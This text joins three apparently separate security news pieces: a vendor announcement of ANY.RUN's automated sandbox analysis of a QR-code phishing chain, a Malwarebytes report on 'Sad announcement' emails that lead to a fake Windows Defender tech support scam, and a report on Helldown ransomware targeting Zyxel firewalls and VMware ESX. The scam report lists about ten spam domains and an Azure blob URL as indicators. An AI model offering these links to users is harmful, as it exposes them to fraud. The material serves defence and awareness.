
**Detonating a Multi-Stage Attack with Automated Interactivity** 

With this new upgrade, ANY.RUN’s sandbox can automatically execute the following types of content found at different stages of complex cyber attacks: 

*   URLs inside QR codes 
*   Modified links 
*   Multi-stage redirects 
*   Email attachments 
*   Payloads with archives 

**Users interested can get a 14-day free trial of ANY.RUN to explore Automated Interactivity and other PRO features**  

Consider the following multi-stage phishing attack analyzed with Automated Interactivity.  

The phishing email analyzed with Automated Interactivity 

The system automatically opens the .eml file submitted by the user via Outlook, detects a PDF attachment, and scans its contents. 

The static analysis module in ANY.RUN sandbox reveals the link hidden in the QR 

Inside the PDF, it identifies a QR code, instantly extracts the embedded URL, and opens it in a browser.   

ANY.RUN sandbox automatically solving CAPTCHA challenges 

When faced with a CAPTCHA challenge, commonly used to evade detection, the feature successfully solves it and moves on to the next stage of the attack. 

The final phishing page designed to steal victims’ credentials 

Eventually, it successfully reaches the final phishing page, not only ensuring complete detection of the attack, but also providing additional context on the threat at hand. 

**Adaptive to New Threats** 

ANY.RUN’s Smart Content Analysis is built to adapt to the changing threat landscape. With regular attack scenario updates from the ANY.RUN threat research team, the system remains aligned with emerging attack methods, allowing it to handle even the latest and most evasive threats. 

**Exploring Smart Content Analysis** 

Automated Interactivity helps security professionals streamline and improve their threat investigations: 

*   **Less manual effort**: No more wasted clicks. Let the sandbox handle repetitive actions so you can focus on the bigger picture.  
*   **Faster, deeper insights**: Go beyond surface detections with simulations that bring hidden threat layers to light.  
*   **Speedy analysis**: Accelerate your analysis with automation that moves as fast as you do, from simple phishing links to layered attack chains. 

Users can request a 14-day free trial of ANY.RUN’s Interactive Sandbox to try Automated Interactivity for free.

𝐀𝐛𝐨𝐮𝐭 𝐀𝐍𝐘.𝐑𝐔𝐍

ANY.RUN serves over 500,000 cybersecurity professionals globally, offering an interactive platform for malware analysis targeting Windows and Linux environments. With advanced threat intelligence tools such as TI Lookup, YARA Search, and Feeds, ANY.RUN enhances incident response and provides analysts with essential data to counter cyber threats effectively.

Users can connect through social media: X, LinkedIn

**Contact**

**ANYRUN FZCO**  
**\[email protected\]**  
**+1 657-366-5050**

ANY.RUN Sandbox Now Automates Interactive Analysis of Complex Cyber Attack Chains

People are receiving disturbing emails that appear to imply something has happened to their friend or family member.

Tech support scammers are again stooping low with their email campaigns. This particular one hints that one of your contacts may have met an untimely end.

It all starts with an email titled “Sad announcement” followed by a full name of someone you know. The email may appear to come from the person themselves.

A co-worker who received such an email pointed it out to our team. Looking around, I found the first report about such an email in a tweet dating back to February 5, 2024.

With some more information about what I was looking for, I managed to find several more.

There is a great deal of variation between the emails, but we do have enough samples to show you a pattern which looks like this:

Subject: Sad announcement: <First name><Last name>

Sometimes the colon is replaced by the word “from”.

Then a short sentence to pique the reader’s curiosity, which often references photos. Here are some examples:

> “When you open them you will see why I actually wanted to share them with you today”
> 
> “Never thought I would want to share these images with you, anyways here they are”
> 
> “I’m presuming you should remember these two ladies, in that photo”
> 
> “When I was looking through some old folders I found these 3 pics”
> 
> “it wasn’t initially my plan, but I had to change my mind about it”
> 
> “Two pictures that I wanted to share with you. They’re likely to bring a flood of memories to you, as they did to me…”
> 
> “Probably should have contacted you a little bit earlier. Anyways just wanted to keep you updated”

This is then immediately followed by a link. These also follow a certain pattern:

gjsqr.hytsiysx.com

tmdlod.vdicedohf.com

gtfhq.rmldxkff.com

pdbh.ramahteen.com

owwiu.dexfyerd.com

roix.unrgagceso.com

yrlbi.vohdsniuz.com

uqjk.mbafwnds.com

vjdbd.hhesdeh.com

mbjzo.enexoo.com

These domains are all registered with NameCheap and are only active for a few days.

To close the emails off, the scammers end with a quote in the format:

> “You do not find the happy life. You make it.” –  Camilla Eyring Kimball

The sender addresses are spoofed to look like they were coming from family or friends of the target. The actual sender addresses are compromised accounts from all over the world.

The campaign looks to have targeted mainly the US, but I also found some located in Ireland and the UK and some odd ones in India and Italy.

So, the question is, what are they after? The short-lived domains really made it hard for me to figure that out. It took me quite a bit to find a domain that was still active, but then I knew soon enough what the end-goal of the spammers was.

A short chain of redirects sent me to https://niceandsafetystore0990.blob.core.windows[.]net/niceandsafetystore0990/index.html which is now blocked by Malwarebytes Browser Guard.

The blob.core.windows.net subdomains are unique identifiers for Azure Blob Storage accounts. They follow this format:

<storageaccountname>.blob.core.windows.net

Where <storageaccountname> is the name of the specific Azure Storage account. Spammers like using them because the windows.net part of the domain makes them look trustworthy.

The website itself probably looks familiar to a lot of readers: A fake online Windows Defender scan.

The fake Windows Defender site shows that your system is infected with loads of threats.

Funny enough the site claims to be Windows Defender, but uses Malwarebytes’ detection names. For example: Microsoft does not detect the Potentially Unwanted Program which Malwarebytes detects as PUP.Optional.RelevantKnowledge.

Anyway, the website quickly takes up the entire screen, so you have to click or hold (depending on your browser) the ESC button to get back the controls that allow you to close the website.

Now that you have seen the patterns in the email, we hope that you will refrain from clicking the links. The redirect chain can be changed and may be different for your location and type of system. So, there may be more serious consequences than an annoying website.

**How to avoid the “sad announcement” scam**

*   Always compare the actual sender address with the email address this person would normally use to send you an email.
*   Never click on link in an unsolicited email before checking with the sender.
*   Don’t call the phone numbers displayed on the website, because they will try to defraud you.
*   If in doubt, contact your friend via another, trusted method

If your browser or mobile device “locks up”, meaning you’re no longer able to navigate away from a virus warning, you’re likely looking at a tech support scam. If something claims to show the files and folders from inside of your browser, this is another signal that you’re on a fake page. Close the browser if possible or restart your device if this doesn’t work.

Despite the occasional arrests and FTC fines for tech support scammers and their henchmen, there are still plenty of cybercriminals active in this field. Scams range from unsolicited calls offering help with your “infected” computer to fully-fledged websites where you can purchase heavily over-priced versions of legitimate security software.

Unfortunately for some people these warnings may have come too late. So what should you do if you have fallen victim to a tech support scam? Here are a few pointers:

*   Have you already paid? Contact your credit card company or bank and let them know what’s happened. You may also need to file a complaint with the FTC or contact your local law enforcement agency, depending on your region.
*   If you’ve shared your password with a scammer, change it on every account that uses this password. Consider using a password manager and enable 2FA for important accounts.
*   Scan your device. If scammers have had access to your system, they may have planted a backdoor so they can revisit whenever they feel like it. Malwarebytes can remove backdoors and other software left behind by scammers.
*   Keep an eye out for unexpected payments. Be on the lookout for suspicious charges/payments on your credit cards and bank accounts so you can revert and stop them.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 “Sad announcement” email leads to tech support scam 

Cybersecurity firm Sekoia has discovered a new variant of Helldown ransomware. The article details their tactics and how…

Cybersecurity firm Sekoia has discovered a new variant of Helldown ransomware. The article details their tactics and how they exploit vulnerabilities in network devices, steal sensitive data, and encrypt critical systems.

Sekoia’s cybersecurity researchers have discovered a Linux variant of the new ransomware strain, Helldown, first **found** by Halcyon and deploys Windows ransomware derived from the LockBit 3.0 code. 

Helldown is a relatively new ransomware group that has been actively targeting organizations since August 2024, affecting over 30 firms in three months. This threat actor primarily exploits vulnerabilities in network devices, particularly **Zyxel firewalls**.

Once they gain access, they employ a double extortion strategy, encrypting critical data and threatening to leak sensitive information if a ransom is not paid. Researchers suspect that the group is expanding its attacks to target virtualized infrastructures via VMware, “given the recent development of ransomware targeting ESX.” 

Helldown’s Linux variant specifically targets VMware ESX servers. This variant was first spotted by cybersecurity researcher Alex Turing (**@TuringAlex**) on 31 October 2024. 

According to Sekoia’s blog post shared with Hackread.com, the ransomware’s code focuses on a sample of VMware ESX servers and is straightforward, lacking obfuscation and anti-debugging mechanisms. The main function executes a simple workflow, including configuration loading, file search, encryption, and ransom note creation.

The code also includes a function called kill\_vms, which lists and kills VMs sequentially. Terminating VMs before encryption grants ransomware write access to image files, but static and dynamic analysis shows this functionality is not invoked, indicating that the ransomware is still under development or not that advanced.

On its dark web data leak site, the group has disclosed a large amount of data, ranging from 22GB to 431GB, and averaging 70GB excluding outliers. The stolen files are mostly PDFs or scanned documents, likely obtained from servers like NAS systems or electronic document management portals. The large volume suggests the attacker targets data sources storing administrative files, which typically contain sensitive information.

Helldown ransomware’s ransom note and dark web leak site.

Researchers suspect a connection between Helldown vs. Hellcat and Darkrace/Donex groups, due to the timing of a company (Schneider Electric) compromise and social media activity by alleged Hellcat operators. However, no technical similarities have been found between these groups so far. 

> _“Two accounts on the X social media, @grepcn and @ReyBreached, claiming to be Hellcat operators, posted to distinguish themselves from Helldown, each displaying Hellcat’s DLS link in their profiles.”_
> 
> Sekoia’s Threat Detection & Research (TDR) team

For your information, @grepcn has been quite active on Breach Forums. They are also the hacker behind recent data breaches involving Dell (**1, 2, 3**) and **Twilio**.

It is also worth noting, though, that Helldown shares behavioural similarities with Darkrace, as both likely originated from leaked LockBit 3 code, and is suspected to be a rebrand of Darkrace.

Nevertheless, to protect against the Helldown attack, organizations should patch their network devices, particularly Zyxel firewalls, with the latest security updates. Adopting crucial security measures like network segmentation, access controls, and regular backups, and educating employees on cybersecurity best practices, including phishing awareness and secure password usage is essential to address evolving ransomware threats proactively.

**Jason Soroko**, Senior Fellow at Sectigo, a Scottsdale, Arizona-based provider of comprehensive certificate lifecycle management (CLM) weighed on in the latest development stating that Helldown ransomware represents a sophisticated evolution of modern malware.

_“_Helldown is a prime example of how cybercriminals are piecing together all of the elements of modern malware to create a formidable threat. All of the elements of this malware variant have been seen before, but we are increasingly seeing malware that is strengthening on all fronts,_“_ Jason explained.

He added that security teams must design protection assuming adversaries will use advanced, well-crafted techniques, rather than relying on flaws or oversights by attackers to mitigate threats.

_“_From fileless execution to strong custom encryption, this malware variant teaches us that we can’t rely on our adversaries to make mistakes that give us an easy way to mitigate their attacks. Security architects who are building defensive systems against attacks such as this should assume that adversaries are bringing a sophisticated set of tools with few weak spots._“_

1.  **Telegram-Controlled TgRat Trojan Targets Linux Servers**
2.  **Hackers Deploy Linux FASTCash Malware for ATM Cashouts**
3.  **Play Ransomware Variant Targeting Linux ESXi Environments**
4.  **AcidRain Linux Malware Variant “AcidPour” Targeting Ukraine**
5.  **Linux Malware ‘Perfctl’ Hits Millions by Mimicking System Files**

Tag

#windows